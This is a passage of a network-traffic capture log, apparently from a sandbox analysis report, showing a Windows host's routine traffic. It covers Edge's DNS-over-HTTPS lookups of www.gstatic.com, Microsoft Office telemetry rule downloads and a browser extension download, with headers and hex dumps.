2024-11-21 23:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom" c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49813	172.64.41.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c687ae95e6a-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fa 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49814	172.64.41.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c688dc4182d-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 99 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49823	162.159.61.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c689df9de9b-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1e 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49818	162.159.61.3	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 23:11:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 23:11:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e645c689aeb41d5-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 23:11:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 28 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231148Z-178bfbc474bvjk8shC1NYC83ns00000001zg00000000c63d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:49 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:49 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231149Z-174c587ffdf7t49mhC1TEB4qbg00000000m0000000002y0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:49 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:49 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231149Z-178bfbc474bbbqrhhC1NYCvw7400000002b0000000005u1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:49 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49816	142.250.181.65	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:48 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:49 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC58AP8cgy8QCSMfjlA1phiguxydtiLgrGzyfe-eWYeYAybEI-ZVJvb7JRg57XNhsGcHgCo X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Thu, 21 Nov 2024 16:45:00 GMT Expires: Fri, 21 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 23209 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-21 23:11:49 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-21 23:11:49 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
